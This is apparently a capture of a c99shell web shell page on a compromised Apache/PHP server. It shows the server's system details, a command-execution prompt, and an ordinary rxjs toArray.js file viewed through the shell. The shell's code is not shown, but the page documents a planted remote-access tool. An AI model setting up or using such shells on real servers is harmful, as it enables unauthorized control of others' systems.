Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /var/www/html/queuepro/node_modules/rxjs/operator/ drwxrwxr-x | |
| Viewing file: Select action/file-type: "use strict";
var toArray_1 = require('../operators/toArray');
/**
* Collects all source emissions and emits them as an array when the source completes.
*
* <span class="informal">Get all values inside an array when the source completes</span>
*
* <img src="./img/toArray.png" width="100%">
*
* `toArray` will wait until the source Observable completes
* before emitting the array containing all emissions.
* When the source Observable errors no array will be emitted.
*
* @example <caption>Create array from input</caption>
* const input = Rx.Observable.interval(100).take(4);
*
* input.toArray()
* .subscribe(arr => console.log(arr)); // [0,1,2,3]
*
* @see {@link buffer}
*
* @return {Observable<any[]>|WebSocketSubject<T>|Observable<T>}
* @method toArray
* @owner Observable
*/
function toArray() {
return toArray_1.toArray()(this);
}
exports.toArray = toArray;
//# sourceMappingURL=toArray.js.map |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0048 ]-- |